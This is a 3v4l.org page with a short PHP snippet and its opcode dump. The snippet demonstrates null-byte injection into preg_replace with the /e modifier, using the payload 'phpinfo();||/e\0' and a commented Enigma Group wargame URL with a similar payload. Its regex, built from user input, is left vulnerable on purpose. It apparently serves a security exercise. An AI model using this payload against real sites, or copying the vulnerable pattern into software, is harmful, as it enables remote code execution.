3v4l.org

run code in 300+ PHP versions simultaneously
<?php //$search = htmlentities($_GET['search']); $x="phpinfo();||/e\0"; $search=htmlentities($x); echo $search; echo "\n"; if (strpos($search, 'apple') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "apple"); }elseif (strpos($search, 'orange') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "orange"); }elseif (strpos($search, 'banana') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "banana"); }elseif (strpos($search, 'kiwi') !== false){ echo preg_replace("/".$search."/", $search." <img src='".$search.".png'>", "kiwi"); }else echo "Please search for apple, orange, banana, or kiwi."; #http://lists.webappsec.org/pipermail/websecurity_lists.webappsec.org/2011-July/007960.html #http://ha.xxor.se/2011/06/null-byte-injection-in-pregreplace.html #http://www.enigmagroup.org/missions/basics/auditing/12/index.php?search=phpinfo();%23|apple/e%00
Finding entry points
Branch analysis from position: 0
2 jumps found. (Code = 43) Position 1 = 13, Position 2 = 25
Branch analysis from position: 13
1 jumps found. (Code = 42) Position 1 = 80
Branch analysis from position: 80
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 25
2 jumps found. (Code = 43) Position 1 = 31, Position 2 = 43
Branch analysis from position: 31
1 jumps found. (Code = 42) Position 1 = 80
Branch analysis from position: 80
Branch analysis from position: 43
2 jumps found. (Code = 43) Position 1 = 49, Position 2 = 61
Branch analysis from position: 49
1 jumps found. (Code = 42) Position 1 = 80
Branch analysis from position: 80
Branch analysis from position: 61
2 jumps found. (Code = 43) Position 1 = 67, Position 2 = 79
Branch analysis from position: 67
1 jumps found. (Code = 42) Position 1 = 80
Branch analysis from position: 80
Branch analysis from position: 79
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/2mRHJ
function name:  (null)
number of ops:  81
compiled vars:  !0 = $x, !1 = $search
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    3     0  E >   ASSIGN                                                   !0, 'phpinfo%28%29%3B%7C%7C%2Fe%00'
    5     1        INIT_FCALL                                               'htmlentities'
          2        SEND_VAR                                                 !0
          3        DO_ICALL                                         $3      
          4        ASSIGN                                                   !1, $3
    6     5        ECHO                                                     !1
    7     6        ECHO                                                     '%0A'
    9     7        INIT_FCALL                                               'strpos'
          8        SEND_VAR                                                 !1
          9        SEND_VAL                                                 'apple'
         10        DO_ICALL                                         $5      
         11        TYPE_CHECK                                  1018          $5
         12      > JMPZ                                                     ~6, ->25
   10    13    >   INIT_FCALL                                               'preg_replace'
         14        CONCAT                                           ~7      '%2F', !1
         15        CONCAT                                           ~8      ~7, '%2F'
         16        SEND_VAL                                                 ~8
         17        CONCAT                                           ~9      !1, '+%3Cimg+src%3D%27'
         18        CONCAT                                           ~10     ~9, !1
         19        CONCAT                                           ~11     ~10, '.png%27%3E'
         20        SEND_VAL                                                 ~11
         21        SEND_VAL                                                 'apple'
         22        DO_ICALL                                         $12     
         23        ECHO                                                     $12
         24      > JMP                                                      ->80
   11    25    >   INIT_FCALL                                               'strpos'
         26        SEND_VAR                                                 !1
         27        SEND_VAL                                                 'orange'
         28        DO_ICALL                                         $13     
         29        TYPE_CHECK                                  1018          $13
         30      > JMPZ                                                     ~14, ->43
   12    31    >   INIT_FCALL                                               'preg_replace'
         32        CONCAT                                           ~15     '%2F', !1
         33        CONCAT                                           ~16     ~15, '%2F'
         34        SEND_VAL                                                 ~16
         35        CONCAT                                           ~17     !1, '+%3Cimg+src%3D%27'
         36        CONCAT                                           ~18     ~17, !1
         37        CONCAT                                           ~19     ~18, '.png%27%3E'
         38        SEND_VAL                                                 ~19
         39        SEND_VAL                                                 'orange'
         40        DO_ICALL                                         $20     
         41        ECHO                                                     $20
         42      > JMP                                                      ->80
   13    43    >   INIT_FCALL                                               'strpos'
         44        SEND_VAR                                                 !1
         45        SEND_VAL                                                 'banana'
         46        DO_ICALL                                         $21     
         47        TYPE_CHECK                                  1018          $21
         48      > JMPZ                                                     ~22, ->61
   14    49    >   INIT_FCALL                                               'preg_replace'
         50        CONCAT                                           ~23     '%2F', !1
         51        CONCAT                                           ~24     ~23, '%2F'
         52        SEND_VAL                                                 ~24
         53        CONCAT                                           ~25     !1, '+%3Cimg+src%3D%27'
         54        CONCAT                                           ~26     ~25, !1
         55        CONCAT                                           ~27     ~26, '.png%27%3E'
         56        SEND_VAL                                                 ~27
         57        SEND_VAL                                                 'banana'
         58        DO_ICALL                                         $28     
         59        ECHO                                                     $28
         60      > JMP                                                      ->80
   15    61    >   INIT_FCALL                                               'strpos'
         62        SEND_VAR                                                 !1
         63        SEND_VAL                                                 'kiwi'
         64        DO_ICALL                                         $29     
         65        TYPE_CHECK                                  1018          $29
         66      > JMPZ                                                     ~30, ->79
   16    67    >   INIT_FCALL                                               'preg_replace'
         68        CONCAT                                           ~31     '%2F', !1
         69        CONCAT                                           ~32     ~31, '%2F'
         70        SEND_VAL                                                 ~32
         71        CONCAT                                           ~33     !1, '+%3Cimg+src%3D%27'
         72        CONCAT                                           ~34     ~33, !1
         73        CONCAT                                           ~35     ~34, '.png%27%3E'
         74        SEND_VAL                                                 ~35
         75        SEND_VAL                                                 'kiwi'
         76        DO_ICALL                                         $36     
         77        ECHO                                                     $36
         78      > JMP                                                      ->80
   17    79    >   ECHO                                                     'Please+search+for+apple%2C+orange%2C+banana%2C+or+kiwi.'
   25    80    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
163.5 ms | 1400 KiB | 19 Q